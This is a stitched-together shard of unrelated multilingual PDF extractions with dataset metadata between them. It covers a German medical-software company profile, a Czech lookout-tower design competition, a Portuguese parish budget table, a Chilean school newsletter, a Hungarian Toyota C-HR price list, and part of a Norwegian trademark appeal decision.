Kalenderjahr. Der Zeitraum vom 1. Januar 2016 bis zum 30. September 2016 stellt ein Rumpfgeschäftsjahr dar. ************************************************************************ Die MeVis Medical Solutions AG wurde 1997 gegründet und ist ein weltweit führender, unabhängiger Entwickler und Anbieter von Softwareprodukten für die medizinische Bildgebung mit Fokus auf krankheitsorientierte klinische Applikationen. MeVis ist seit dem 16. November 2007 im Prime Standard (Regulierter Markt) der Frankfurter Wertpapierbörse notiert. Komplexität und Menge von medizinischen Bilddaten sind in den letzten Jahren sprunghaft angestiegen. Neben der digitalen Mammographie sind hiervon insbesondere die Computertomographie (CT), Magnetresonanztomographie (MRT) und Ultraschall (US) betroffen. Die MeVis-Applikationen analysieren und verarbeiten diese Daten in der Form, dass sie den Medizinern einen bedeutenden Mehrwert für die Früherkennung, Diagnose und Intervention von Krebs- und Lungenerkrankungen sowie neurologischen Erkrankungen verschaffen. Die Gesellschaft entwickelt ihre Software-Lösungen in enger Zusammenarbeit mit weltweit führenden medizinischen Experten und Geräteherstellern der Medizintechnik und vermarktet ihre Software primär über diese Partnerschaften. MeVis Medical Solutions AG Caroline-Herschel-Straße 1 D-28359 Bremen Tel.: +49 421 224 95 0 Fax: +49 421 224 95 999 E-Mail: firstname.lastname@example.org
<urn:uuid:87d2b973-b041-4cf2-a022-770688457bc9>
HuggingFaceFW/finepdfs/tree/main/data/deu_Latn/train
finepdfs
deu_Latn
2,640
Město Černošín se sídlem nám. 1. máje 62, 349 58 Černošín, IČO: 00259772 vyhlašuje v souladu s § 1772 – § 1779 zákona č. 89/2012 Sb., občanský zákoník, ve znění pozdějších předpisů, veřejnou soutěž o nejvhodnější nabídku s názvem „Rozhledna na Vlčí hoře u Černošína“ a vydává k tomu tyto SOUTĚŽNÍ PODMÍNKY I. Identifikační údaje vyhlašovatele Město Černošín, se sídlem nám. 1. máje 62, 349 58 Černošín IČO: 00259772 tel.: 374 692 109 fax: 374 692 186 datová schránka: 85ebe4n elektronická podatelna: email@example.com osoba oprávněná jednat jménem vyhlašovatele: Miroslav Plincelner, starosta města Černošín mob.: +420 724182356 II. Vyhlášení veřejné soutěže 1. Veřejná soutěž o nejvhodnější nabídku s názvem „Rozhledna na Vlčí hoře u Černošína“ je vyhlášena dle § 1772 a násl. zákona č. 89/2012 Sb., občanský zákoník, ve znění pozdějších předpisů (dále jen „občanský zákoník“). 2. Veřejná soutěž je vyhlášena zveřejněním této výzvy na internetových stránkách města http://www.cernosin.cz/mesto/rozvoj-mesta/verejne-zakazky-1/. 3. Veřejná soutěž je rovněž vyhlášena na internetové adrese profilu zadavatele: https://www.vhodne-uverejneni.cz/profil/00259772. III. Účel a předmět soutěže 1. Účelem této soutěže je získání výtvarného návrhu rozhledny, která bude umístěna na pozemku p. č. 337/3 v k. ú. Třebel (702 m.n.m.), celoročně přístupná, odolná proti vandalismu, bezúdržbová, bezobslužná, s max. výškou cca 22 m, s předpokládanými náklady na realizaci cca 5 mil. Kč. 2. Výtvarný návrh rozhledny musí být originální a nezaměnitelný. IV. Druh soutěže a její účastníci 1. Podle předmětu řešení soutěže se jedná o soutěž výtvarnou. Podle okruhu účastníků se jedná o soutěž veřejnou a podle počtu vyhlášených kol se jedná o soutěž jednokolovou. 2. Účastníkem soutěže (dále také „soutěžitel“) může být kterákoli právnická osoba nebo fyzická osoba, která nabyla svěprávnosti. V. Náležitosti podání nabídek 1. Výtvarný návrh rozhledny bude navržen ve formátu A4 v barevném i v černobílém provedení jako kresba na tvrdém papíře nebo jako grafická kresba ve formátu A4 v barevném i černobílém provedení ve vytiskněné podobě. 2. Výtvarné návrhy rozhledny budou na zadní straně opatřeny adresními údaji, na které je možné zaslat vyrozumění dle článku VII. odst. 6 soutěžních podmínek včetně vrácení nevybraných výtvarných návrhů rozhledny a identifikačními údaji skutečného autora výtvarného návrhu rozhledny, tj. jméno, adresu trvalého bydliště či sídla, telefon, email a podpis autora. 3. Součástí návrhu musí být čestné prohlášení autora návrhu, že autor je schopen na základě svého návrhu svůj návrh dále rozpracovat do projektové dokumentace ke stavebnímu povolení v rozsahu pro provádění stavby, včetně příslušného rozpočtu a výkazu výměr. 4. Všechny výše uvedené části návrhu budou v zalepeném a neporušeném obalu s názvem veřejné soutěže „Rozhledna na Vlčí hoře u Černošína“ a nápisem „Neotevírat“. VI. Průběh soutěže 1. Každý soutěžitel může zaslat pouze jeden výtvarný návrh rozhledny. 2. Soutěž bude jednokolová. 3. V rámci soutěže zastupitelstvo všechny podané nabídky otevře a posoudí, zda splňují požadavky stanovené v soutěžních podmínkách. V případě nesplnění soutěžních podmínek je zastupitelstvo oprávněno tyto nabídky vyloučit. 4. Nabídky splňující podmínky soutěže budou hodnoceny zastupitelstvem, které vybere nejvhodnější nabídku. 5. Zastupitelstvo bude jednotlivé nabídky hodnotit podle následujících kritérií: a) vhodnost koncepce rozhledny; b) srozumitelnost a originalita; c) míra výtvarné stylizace resp. abstrakce (jednoduchost). 6. Návrh konečného pořadí výtvarných návrhů rozhledny bude stanoven na základě většinového hlasování všech členů zastupitelstva. 7. Vítězný soutěžitel, tj. autor vítězného návrhu rozhledny obdrží jednorázovou odměnu ve výši 20 000 Kč. Soutěžitelé nemají nárok na náhradu nákladů spojených s účastí v soutěži. VII. Soutěžní podmínky 1. Vyhlášovatel si vyhrazuje právo veřejnou soutěž o nejvhodnější nabídku kdykoliv zrušit. 2. Vyhlášovatel si rovněž vyhrazuje právo uveřejněné soutěžní podmínky měnit. 3. Ve smyslu § 1775 odst. 2 občanského zákoníku nelze do soutěže zahrnout nabídku předloženou po lhůtě stanovené v podmínkách soutěže. 4. Vyhlašovatel si v souladu s § 1778 odst. 2 občanského zákoníku vyhrazuje právo všechny předložené nabídky odmítnout. 5. Vyhlašovatel v souladu s § 1779 občanského zákoníku vyrozumí bez zbytečného odkladu po ukončení soutěže soutěžitele, kteří v soutěži neuspěli, že jejich nabídky odmítl. VIII. Lhůta a místo pro podání nabídek 1. Lhůta pro odevzdání nabídek (soutěžního návrhu rozhledny) tj. lhůta, v níž musí být návrh rozhledny doručen včetně všech požadovaných náležitostí dle článku V. soutěžních podmínek na adresu vyhlašovatele nám. 1. máje 62, 349 58 Černošín, je stanovena do 15. 4. 2019 (pondělí) v 10:00 hodin. 2. Nabídku lze podat v listinné podobě: - osobně v pracovních dnech po-pá v době od 8:00-15:00 hodin do sídla vyhlašovatele (do podatelny umístěné v patře budovy sídla vyhlašovatele); - zaslat na adresu sídla vyhlašovatele tak, aby nabídka byla doručena před skončením lhůty. 3. Zasedání zastupitelstva se uskuteční do 10 kalendářních dnů od konce lhůty pro podání nabídek. 4. Ze zasedání zastupitelstva bude vyhotoven protokol o průběhu soutěže. V protokolu bude uveden seznam všech nabídek, tj. všech posuzovaných výtvarných návrhů rozhledny včetně vyloučených návrhů a nejvhodnějšího návrhu. IX. Komunikace s vyhlašovatelem 1. V případě dotazů k soutěžním podmínkám, je možné zaslat žádost o jejich poskytnutí: - na adresu vyhlašovatele: Město Černošín, nám. 1. máje 62, 349 58 Černošín, nebo - do datové schránky zadavatele - ID schránky: 85ebe4n, nebo - na adresu elektronické podatelny: firstname.lastname@example.org. 2. Dotazy k soutěžním podmínkám je možné zaslat výše uvedenými způsoby nejpozději do 5. 4. 2019. V Černošíně dne 11. 3. 2019 Město Černošín nám. 1. máje 62 349 58 Černošín Miroslav Plincelner Starosta
b8f32283-ab06-4772-b672-624e388b2ad2
HuggingFaceFW/finepdfs/tree/main/data/ces_Latn/train
finepdfs
ces_Latn
5,987
| Obj | Nº Projeto | Designação do Projeto | Rubrica Orçamental | Fonte de Financiamento | Datas | Pagamentos | Total Previsto | |-----|------------|-----------------------|--------------------|------------------------|-------|------------|---------------| | | | | | | | | | | 1 | 3021/1 | Funções Sociais | 07.9.1.11 | RG | 0,00 | 500,00 | 0,00 | 500,00 | | | | Aquiência de ferramentas e utensílios | 0 | RP | 0,00 | 500,00 | 0,00 | 500,00 | | | | Funções Sociais | 07.9.84.12 | UE | 0,00 | 20.851,60 | 0,00 | 20.851,00 | | 2 | 3021/2 | Reparação da casa das Ossadas | 0 | EXP | 0,00 | 2.000,00 | 0,00 | 2.000,00 | | | 3022/02 | Zona de Lazer e Miradouro | 0 | | | | | | | 3023/01 | Investimento na Freguesia | 0 | | | | | | | 3023/02 | Aquiência de Vianura | 0 | | | | | Legenda: (1) Forma de Realização A - Administração directa E - Empreitada O - Financiamento e outros (2) Fonte de Financiamento RG - Receita Geral RP - Receitas Padrões UE - Financiamento UE EXP - Expestitivos (3) Fase de Execução 0 - Não iniciada 1 - Com projecto técnico 2 - Ajustada 3 - Execução física até 25% 4 - Execução física até 50% 5 - Execução física até 75% 6 - Execução física superior a 75%
<urn:uuid:dcc25ff7-0d61-4ceb-9f2a-afe36f5e888e>
HuggingFaceFW/finepdfs/tree/main/data/por_Latn/train
finepdfs
por_Latn
1,795
INFORMATIVO N° 21 Estimada Comunidad Olmina: Mediante éste deseamos comunicar una noticia que nos tiene muy alegres y orgullosos de nuestros alumnos. En nuestro colegio se ha desarrollado un Taller de Debate, coordinado por los profesores: Sr. Claudio Pinto (Filosofía) y Sr. Roberto Díaz (Historia). Ambos han trabajado con los siguientes alumnos: Sr. Giuliano Gorziglia ( I° medio A), Sr. Mateo Aliste ( II° medio B), Srta. Antonella Aranda( III° medio A) y Srta. Tarena Aspee (III° medio B), quienes integran el Equipo de Debate de nuestro colegio. Hace algunas semanas comenzaron a competir con alumnos de otros colegios , este campeonato es organizado por el Departamento de Filosofía de la Facultad de Humanidades de la Universidad de Santiago (USACH). Los debates se realizarán entre los meses de agosto a noviembre del presente año. El objetivo de estos debates es cultivar la filosofía en el espacio escolar de manera rigurosa, a través del diálogo y la discusión, sin olvidar que el objetivo escolar es iluminar las mentes de los más jóvenes con la luz que aporta la reflexión la argumentación y las dudas filosóficas. Nuestros estudiantes pasaron a la segunda vuelta del IX Concurso de Debate Nacional Filosófico realizado por la Universidad de Santiago, quedando entre los treinta y seis mejores a nivel nacional. EQUIPO DE GESTIÓN Santiago, 11 septiembre 2024
<urn:uuid:3ad7ecc5-f7dc-44c6-9ad0-6b1f53e6c93c>
HuggingFaceFW/finepdfs/tree/main/data/spa_Latn/train
finepdfs
spa_Latn
1,385
C-HR Megjegyzés: A feltüntetett árak a metál / gyöngyház fényezést nem tartalmazzák. FELSZERELTSÉG Kód Tető színe Járműtest színe Fényezés felára LIVE AUDIO Rádió CD lejátszóval, MP3, WMA és 4 hangszóró Aux csatlakozó, USB bemenet és Bluetooth® rendszer BIZTONSÁG ABS EBD-vel, blokkolásgátló elektronikus fékerőelosztóval Toyota Safety Sense biztonsági csomag Ütközés előtti biztonsági rendszer (PCS) HAJTÁS BA - vészfékasszisztens VSC és TRC, járműstabilitás-vezérlő kipörgésgátlóval Ütközésveszélyre történő figyelmeztetés (FCW): HAC - hegymeneti elindulás segítő rendszer felhívja a vezető figyelmét szemből történő ütközés veszélyére Automata sebességhatároló (ASL) Vészfék-asszisztens (PBA): támogatja a vezetőt a vészhelyzet elkerülésében Hűtött tárcsafék elöl, teli tárcsafék hátul vagy enyhítésében EPS - Elektromos szervokormány, sebességfüggő rásegítés Önálló vészfékezés (gyalogos-észleléssel) (AEB): ha a vezető vészhelyzetben Gyerekzár a hátsó ajtókon nem reagál, automatikusan fékez, 15-80 km/ó sebességtartományban SRS vezető- és utasoldali légzsák max.40 km/ó sebességcsökkentéssel SRS oldallégzsákok elöl Adaptív sebességtartó automatika (ACC) SRS függönylégzsákok elöl-hátul A beállított sebességtartományon belül segít a vezetőnek a SRS térdlégzsák a vezető oldalán biztonságos távolság megtartásában az előtte haladó járműtől SRS biztonsági övek överőhatárolóval és övfeszítővel, elöl Sávelhagyás-figyelmeztető rendszer (kormányzási beavatkozással) (LDA+SC) SRS biztonsági övek, 3 db hárompontos, hátul Észleli az irányjelzés nélküli sávelhagyást és figyelmezteti a vezetőt Utaslégzsák kikapcsolható Automatikus távolsági fényszóró (AHB) ISOFIX gyermekülés rögzítési pontok, hátsó szélső üléseken Szemben v.előttünk haladó járművek, ill.a környezet világítását érzékelve Oldalütközésvédelem az ajtókban ki- és bekapcsolja a távfényt Biztonsági öv bekapcsolására figyelmeztető hang- és fényjelzés Defektre figyelmeztető rendszer Aktív fejtámlák elöl JÁRMŰVÉDELEM Indításgátló Integrált audio egység KÜLSŐ BELSŐ KÉNYELEM 17"-os acél keréktárcsák 215/60/R17 gumiabroncsok Defektjavító készlet LED-es nappali menetfény Multireflektoros halogén fényszórók Szürkületérzékelő Belső világítási rendszer Sötét tetőkárpit Elektromos ablakemelők elöl és hátul Elektromos állítású, fűtött külső tükrök Manuális légkondicionáló Sport ülések Magasságban állítható vezető ülés Fekete szövet Fekete könyöktámasz Árlista a 2017. november 13-tól megrendelt autókra. A felszereltségre vonatkozó információk csak tájékoztató jellegűek, a gyártástól függően változhatnak! Az árak a magyar forint árfolyammozgásának, az ÁFA valamint regisztrációs adó változások függvényében változhatnak. Az árlistában található kiskereskedelmi ár nem tartalmazza az egyes opciók árát sem a forgalombahelyezés költségeit. Az árlistában található kiskereskedelmi ár tartalmazza a jelenleg érvényben lévő vámot. A Toyota Central Europe Kft. a mindenkori változtatás jogát fenntartja. Ablaktörlő és ablakmosó az 5. ajtón Felfelé nyíló 5. ajtó Hátsó sport tetőspoiler "Cápauszony" tetőantenna Karosszéria színére fényezett kilincsek és külső tükrök Irányjelző a külső tükör borításában Bőr sebességváltó gomb (csak benzines kéziváltós modell) Króm díszítés a belső kilincsen Magasságban és hosszirányban állítható kormányoszlop Hazakisérő fény Napellenző tükörrel 60:40 osztottan dönthető hátsó ülés háttámla. Monokróm 3,7" képernyő Távirányítós központi zár Szövet szőnyeg garnitúra FELSZERELTSÉG GARANCIA Kétzónás, automata légkondicionáló Színes TFT 4,2" képernyő Jelzőtábla-felismerő rendszer (RSA) Toyota Touch 2 multimédia, 8" képernyő, 6 hangszóró Tolatókamera Nyomógombos indítás (csak Hybrid) Bőr kormánykerék Kormányról vezérelhető rádió és telefonkihangosító DYNAMIC - eltérés az ACTIVE felszereltségtől Premium belső világítási rendszer Zongoralakk fekete díszítés a középkonzolon és az ajtókon Fekete szövet sötétkék betéttel Ülésfűtés (vezető és utas oldal) Elektromos deréktámasz a vezetőülésben Sötétkék színű könyöktámasz Krómozott ablakkeret díszítés Sötétített üveg: hátsó oldalsó és hátsó Zongoralakk fekete betétek 225/50/R18 gumiabroncsok 18"-os könnyűfém keréktárcsák Feketére fényezett tető (csak Dynamic szereltségnél) Kék színű betétek az első ajtókon és a műszerfalon Ultrahangos parkolásérzékelők elöl-hátul (6-6 db), része a SIPA-nak Fűtött kormánykerék Holttér monitor a külső tükrökben (BSM) Egyszerű intelligens parkolási rendszer (SIPA) Keresztforgalomra figyelmeztető rendszer (RCTA) Nyomógombos indítás (benzines) Intelligens nyitási és indítási rendszer Automatikusan behajtható külső tükrök <Dynamic szereltséghez> COMFORT csomag: 500 000 Ft PREMIUM csomag: 540 000 Ft <Dynamic Comfort és Executive LED szereltséghez> Prémium JBL hangrendszer 8 csatornás sztereó erősítő és 9 hangszóró, köztük 2 magashang Toyota Touch 2 with Go navigációs rendszer Hátsó parkolássegítő rendszer (P1): 67 200 Ft <Kolíni beépítéssel kivéve Executive> Ultrahanggal működő rendszer fekete színű szenzorokkal Kikapcsoló gomb Alap garancia feltételek 3 év vagy 100.000 km, amelyik előbb bekövetkezik www.toyota.hu Árlista a 2017. november 13-tól megrendelt autókra. A felszereltségre vonatkozó információk csak tájékoztató jellegűek, a gyártástól függően változhatnak! Az árak a magyar forint árfolyammozgásának, az ÁFA valamint regisztrációs adó változások függvényében változhatnak. Az árlistában található kiskereskedelmi ár nem tartalmazza az egyes opciók árát sem a forgalombahelyezés költségeit. Az árlistában található kiskereskedelmi ár tartalmazza a jelenleg érvényben lévő vámot. A Toyota Central Europe Kft. a mindenkori változtatás jogát fenntartja. ‑ sugárzó ACTIVE - eltérés az LIVE felszereltségtől Napellenző megvilágított tükörrel Elektrokromatikus belső tükör Esőérzékelő Ködfényszóró elöl 17"-os könnyűfém keréktárcsák 215/60/R17 gumiabroncsok OPCIÓS ÜLÉSFŰTÉS Elektromos deréktámasz a vezetőülésben EXECUTIVE - eltérés az ACTIVE felszereltségtől Premium belső világítási rendszer Zongoralakk fekete díszítés a középkonzolon és az ajtókon Steppelt bőrülés bronz színű betétekkel Ülésfűtés (vezető és utas oldal) Elektromos deréktámasz a vezetőülésben Sötétbarna színű könyöktámasz Krómozott ablakkeret díszítés Sötétített üveg: hátsó oldalsó és hátsó Bronz színű betétek 225/50/R18 gumiabroncsok 18"-os könnyűfém keréktárcsák Platinum dekorvonal a műszerfalon és az ajtókon Kétzónás, automata légkondicionáló nano-e technológiával Intelligens nyitási és indítási rendszer Fűtött kormánykerék Automatikusan behajtható külső tükrök Egyszerű intelligens parkolási rendszer (SIPA) Ultrahangos parkolásérzékelők elöl-hátul (6-6 db), része a SIPA-nak Keresztforgalomra figyelmeztető rendszer (RCTA) Holttér monitor a külső tükrökben (BSM) LED csomag : 360 000 Ft <Dynamic Comfort és Executive szereltséghez> LED fényszórók Hátsó kombinált LED lámpa LED első ködfényszóró LED irányjelzők elöl Bőr csomag : 430 000 Ft <Executive LED és Executive LED JBL változatokhoz> Fekete bőr ülésborítás GO navigáció: 195 000 Ft <Kivéve Live szereltség> Teljes térképes adatbázis 2D/3D megjelenítés POI, cím, térképpont kijelöléses cél megadás Magyar menü és navigációs utasítások TARTOZÉK AJÁNLAT HYBRID MODELLHEZ M43 indításgátló - AL00000M43HSD M43 közelítőkártyás indításgátló, rablásgátló funkcióval Extra garancia szerződések + 1 év vagy összesen 130 ezer km-Bruttó ügyfélár: + 2 év vagy összesen 200 ezer km-Bruttó ügyfélár: 64 500 Ft 66 900 Ft 142 300 Ft Toyota riasztó, Bearlock váltózár
<urn:uuid:492e6c24-076d-4b82-b378-6c0b23b6db98>
HuggingFaceFW/finepdfs/tree/main/data/hun_Latn/train
finepdfs
hun_Latn
7,691
AVGJØRELSE Sak: Dato: 17/00039 2. november 2018 Klager: Oslo kommune Utdanningsetaten Innklaget: Representert ved: Teach For All, Inc. Zacco Norway AS Klagenemnda for industrielle rettigheter sammensatt av følgende utvalg: Lill Anita Grimstad, Ulla Wennermark og Thomas Strand-Utne har kommet fram til følgende AVGJØRELSE 1 Kort fremstilling av saken: 2 Saken gjelder klage over Patentstyrets avgjørelse av 28. november 2016, hvor Patentstyret etter innsigelse opprettholdt registrering nummer 283277, ordmerket TEACH FOR NORWAY, for samtlige varer. 3 Varemerket ble 3. september 2015 registrert for følgende varer: Klasse 16: Trykksaker; bøker, publikasjoner, magasiner; posters, fotografier, klistremerker og dekaler; skrivesaker og papirvarer; undervisningsmateriell; lærebøker. Klasse 35: Reklame og salgsfremmende tjenester relatert til undervisning; lærerformidlingstjenester; rekrutteringsråd; personelltjenester. Klasse 41: Utdannelsestjenester; arrangering av møter, konferanser og seminarer; publiseringstjenester; publisering via Internett av opplærings- og undervisningsmateriell. 4 Oslo kommune Utdanningsetaten innleverte innsigelse begrunnet med at bruk av merket ville krenke en annens rett fordi det er egnet til å forveksles med innsigers innarbeidede rett til varemerket TEACH FIRST NORWAY, jf. varemerkeloven § 16 bokstav a, jf. § 4 første ledd jf. § 3 tredje ledd. Innsigelsen er videre begrunnet med at bruk av merket ville krenke en annens rett, fordi det er egnet til å forveksles med et varemerke som var tatt i bruk av en annen, og at leveringen av søknaden dermed må anses å ha skjedd i strid med god forretningsskikk, jf. varemerkeloven § 16 bokstav b, jf. § 4 første ledd. 5 Klage innkom 30. januar 2017 og Patentstyret har den 9. mars 2017 vurdert klagen og ikke funnet det klart at den vil føre frem. Klagen ble deretter oversendt Klagenemnda for videre behandling jf. varemerkeloven § 51 andre ledd. 6 Grunnene for Patentstyrets vedtak er oppsummert som følger: − Det søkte merket krenker ikke en annens rett. Registrering nr. 283277, flerordsmerket TEACH FOR NORWAY, må derfor opprettholdes, jf. varemerkeloven § 29 andre ledd. − Patentstyret bemerker at TEACH FIRST NORWAY er brukt for et rekrutterings- og undervisningsopplegg innenfor realfag. Det må derfor være slike tjenester det må vurderes om merket er innarbeidet for. − TEACH FIRST NORWAY er satt sammen av tre engelske ord og kan oversettes til «undervis først Norge», og kan oppfattes som en oppfordring om å undervise først og at det er en tilknytning til Norge. Brukt på de aktuelle tjenestene er det nærliggende å oppfatte dette som 2 en beskrivelse av tjenestene, nemlig at man skal undervise den første tiden etter endt utdanning, og at dette foregår i Norge. − Det skal mye til for å innarbeide varemerker som er direkte beskrivende. Dette merket har i utgangspunktet en beskrivende tekst, da merket beskriver typen kurs/opplæring og undervisningsprogram. − Dokumentasjonen er ikke tilstrekkelig til å vise at gjennomsnittsforbrukeren oppfatter TEACH FIRST NORWAY som noens særlige kjennetegn. Selv om TEACH FIRST NORWAY har hatt omtale i flere riksdekkende aviser, er det vanskelig å se om leseren vil oppfatte TEACH FIRST NORWAY som en beskrivende betegnelse eller som et kjennetegn. Det er ikke presentert noen markedsundersøkelse som belyser hvordan TEACH FIRST NORWAY oppfattes av gjennomsnittsforbrukeren. Det er følgelig ikke dokumentert at TEACH FIRST NORWAY er et innarbeidet varemerke. − Da innsiger ikke har noen dokumentert innarbeidet rettighet, kan ikke varemerkeloven § 16 bokstav a komme til anvendelse. − Partene synes enige om at grunnleggerne av de to organisasjonene, Teach for America og Teach First, startet TEACH FOR ALL i 2007. Det opplyses at TEACH FIRST NORWAY ble tatt i bruk i 2009. − Innsiger tok dermed ikke sitt merke i bruk før innehaver, og varemerkeloven § 16 bokstav b kan derfor ikke komme til anvendelse. 7 Klager har for Klagenemnda i korte trekk gjort gjeldende: − Registreringen av ordmerket TEACH FOR NORWAY må oppheves da denne er i strid med klagers innarbeidede rett til TEACH FIRST NORWAY, jf. varemerkeloven § 16 bokstav a jf. § 4 første ledd jf. § 3 tredje ledd. − Subsidiært anføres det at registreringen av merket er i strid med varemerkeloven § 16 bokstav b. Atter subsidiært anføres det – som nytt hjemmelsgrunnlag – at registreringen må oppheves fordi merket mangler særpreg og således er registrert i strid med varemerkeloven § 14. − Patentstyrets definisjon av gjennomsnittsforbrukeren som «enten en student eller nyutdannet som kan rekrutteres og utdannes til lærer, eller utdanningsinstitusjoner som ansetter disse for å undervise for seg» er for vid. − Gjennomsnittsforbrukeren er ikke utdanningsinstitusjoner, da det kun er Utdanningsetaten i Oslo kommune som har et slikt tilbud. Utviklingsprogrammet TEACH FIRST NORWAY er kun for studenter som har tatt master- eller doktorgrad innen realfag, slik at det kun er realfagstudenter som er i målgruppen. Det er derfor ikke av betydning hvordan andre studenter oppfatter TEACH FIRST NORWAY, og det er heller ikke korrekt å inkludere lærere i omsetningskretsen, slik innklagede anfører. Allerede ferdig utdannede lærere kan ikke søke seg inn på programmet. − Når det gjelder innarbeidelse av klagers merke, vises det til at bruken av TEACH FIRST NORWAY er knyttet til et program som kombinerer ansettelse i Utdanningsetaten med studier (PPU) og ledelsesutvikling. Det er derfor for snevert når Patentstyret legger til grunn at tjenestene gjelder et rekrutterings- og undervisningsopplegg. − Siden høsten 2009 har klager profilert TEACH FIRST NORWAY og rekruttert studenter både høst og vår hvert år på karrieredagene til UiO, UiB, NTNU og NMBU. Det har vært svært godt med søkere, og dermed ikke stort behov for markedsføring utover dette. Hjemmesiden www.teachfirstnorway.no har vært operativ siden starten av 2010. De første kandidatene startet i skolen i 2010, og nye kull har blitt rekruttert hvert år siden. − Statoil er ansvarlig for profilerings- og rekrutteringsprosessen. Selskapet har i flere år toppet Universums liste over de mest attraktive arbeidsgiverne i Norge blant realfagstudenter, noe som har vært en betydelig faktor for suksessen med å rekruttere gode kandidater til programmet. − Av studentene i målgruppen søker 10 % seg til programmet. Dette viser at programmet er godt profilert og kjent i målgruppen. − Det er klager, ved ansatte i etaten og nåværende kandidater i programmet, som deltar på karrieredagene og profilerer TEACH FIRST NORWAY. Da den helt sentrale delen av TEACH FIRST NORWAY er ansettelse i Utdanningsetaten, er det tydelig for målgruppen at klager står bak TEACH FIRST NORWAY. − I de fremlagte presseklippene fremgår det at kandidatene jobber for Utdanningsetaten/Osloskolen og at det er dette som er det sentrale. Presseklippene gir leseren en tydelig oppfatning av at klager står bak TEACH FIRST NORWAY, da det ikke er mulig å delta og gjennomføre opplegget uten å bli ansatt i Utdanningsetaten. − TEACH FIRST NORWAY er ikke et direkte beskrivende merke. For det første foregår lærerjobben i Oslo, ikke i Norge for øvrig. Det er ingen andre kommuner enn Oslo som tilbyr denne kombinasjonen av jobb og lærerutdanning. Kandidatene ansettes kun i Oslo kommune. For det andre har bruken av TEACH FIRST NORWAY sitt opphav i samarbeidet med organisasjonen Teach First i England. − Det kan ikke være tvil om at merkene er egnet til å forveksles med hverandre. Begge merkene består av tre ord og fire stavelser, hvor begge bruker ordet TEACH først og ordet NORWAY sist. Det eneste som skiller merkene fra hverandre er ordet i midten, hvor innklagede bruker ordet FOR og klager bruker ordet FIRST. Også disse ordene har likheter. − Klagers bruk av TEACH FIRST NORWAY er sammenfallende med tjenestene «undervisning; lærerformidlingstjenester; rekrutteringsråd» i klasse 35 og tjenestene «møter, konferanser og seminarer» i klasse 41. Innklagedes virksomhet er av samme art som klagers bruk av TEACH FIRST NORWAY. − Dersom klagers merke ikke anses innarbeidet, må innleveringen av innklagedes søknad om registrering av TEACH FOR NORWAY være i strid med god forretningsskikk. Innklagede kjente til klagers bruk av TEACH FIRST NORWAY og at deres registrering ville hindre klagers bruk av merket. − Patentstyret tar feil når de hevder at TEACH FOR NORWAY ble tatt i bruk før TEACH FIRST NORWAY. Det kan ikke ha betydning for foreliggende sak at TEACH FOR ALL-merket ble tatt i bruk i 2007. TEACH FOR NORWAY er aldri tatt i bruk verken i Norge eller i utlandet. − Siden klager ikke er en uavhengig organisasjon, har det ikke vært mulig for klager å bli medlem av Teach For All-organisasjon til innklagede. Til tross for dette er innklagede godt kjent med klager og TEACH FIRST NORWAY-programmet. I perioden 2009-2012 hadde klager jevnlig dialog med innklagede. Det er heller ikke bestridt at innklagede kjente til klagers bruk av TEACH FIRST NORWAY forut for registreringen. − Når det gjelder anførselen om manglende særpreg, vises det til at klager tidligere har forsøkt å få registrert TEACH FIRST NORWAY. Søknaden ble nektet på grunn av manglende særpreg. Registreringen av TEACH FOR NORWAY er ikke i henhold til tidligere praksis fra Patentstyret, og klager kan ikke se at TEACH FOR NORWAY har mer særpreg enn TEACH FIRST NORWAY. − Merket er en sammensetning av ordene TEACH FOR NORWAY. Ordene er alminnelige i det engelske språk både hver for seg og satt sammen, og det er ingen tvil om at gjennomsnittsforbrukeren vil kjenne til betydningen av de engelske ordene. Merketeksten vil bli forstått som «undervis(e) for Norge». Når merket kun angir at tjenestene er knyttet til undervisning i Norge, vil det bare oppfattes som beskrivende for tjenestens art og geografiske opprinnelse. Innklagedes merke fremstår som et mer generelt uttrykk enn klagers TEACH FIRST NORWAY, og vil ikke bli oppfattet som kjennetegn fra en bestemt aktør innenfor de vare- og tjenesteklasser ordmerket er registrert for. 8 Innklagede har for Klagenemnda i korte trekk gjort gjeldende: − Klagen må avvises og registrering av merket TEACH FOR NORWAY må opprettholdes. − Når det gjelder innarbeidelse av klagers merke, er det for snevert å vurdere om klager har innarbeidet rettigheter til sitt merke for rekrutterings og undervisningstjenester tilknyttet realfag. Omsetningskretsen må inkludere både studenter og lærere, og det er ikke uvanlig at lærere underviser både i realfag og humanistiske fag. Det relevante rettslige spørsmålet er derfor om TEACH FIRST NORWAY nyter innarbeidede varemerkerettigheter til rekrutterings- og undervisningstjenester per se. − Den relevante omsetningskretsen må utgjøres av befolkningen som helhet, ettersom det norske utdanningssystemet tillater at enhver i prinsippet kan begynne nye studier når som helst i livet. − Det er ikke fremlagt tilstrekkelig dokumentasjon for å underbygge anførselen om innarbeidelse av TEACH FIRST NORWAY, jf. varemerkeloven § 3 tredje ledd, spesielt med tanke på at merket må sies å befinne seg på den nedre delen av distinktivitetsskalaen, tett opp mot det beskrivende. Klager har vist til at 10 % av den meget begrensede målgruppen søker seg til programmet. Innklagede inviterer Klagenemnda til å trekke sine konklusjoner basert på dette. − Når det gjelder risikoen for forveksling, er innklagede enig med Patentstyret i at det bare kan påvises tjenesteslagslikhet i begrensede deler av klassene 35 og 41. De øvrige varer og tjenester som omfattes av registreringen omfattes ikke av klagers påståtte rettigheter, og er derfor ikke relevante ettersom kravene til vare- og tjenesteslagslikhet i henhold til varemerkeloven § 16 b ikke er oppfylt. − Det er klart at TEACH FOR ALL-merket har vært i bruk siden 2007, mens TEACH FIRST NORWAY-merket ikke ble tatt i bruk før i 2009. Det er videre klart at partene har vært kjent med hverandres aktiviteter siden klager startet opp sitt undervisningsprogram i Norge. Det er heller ikke presentert noen beviser som støtter påstanden om at søknaden er inngitt i strid med god forretningsskikk. Kravene i varemerkeloven § 16 bokstav b ikke er oppfylt, og bestemmelsen kommer ikke til anvendelse. − Når det gjelder spørsmålet om manglende særpreg etter varemerkeloven, er det ikke bestridt at merket opprinnelig ble nektet av Patentstyret på dette grunnlaget. Det ble likevel akseptert til registrering etter tilskrivelse. Dette indikerer at merket har vært undergitt en svært grundig saksbehandling som munnet ut i at merket ble ansett som registrerbart for de aktuelle varer og tjenester. − Innklagede anfører at TEACH FOR NORWAY verken direkte eller spesifikt angir noen informasjon om de aktuelle varer og tjenester. Det semantiske innholdet i merket kan oversettes med «undervis for Norge». Norge er en nasjon, og kan dermed ikke undervises for. I den aktuelle sammenhengen kan heller ikke betydningen «undervis på vegne av Norge» ha noen betydning, da utsagnet ikke skaper en umiddelbar og direkte lenke mellom merket og de varer og tjenester det er registrert for. − Det faktum at merket TEACH FIRST NORWAY i sin tid ble 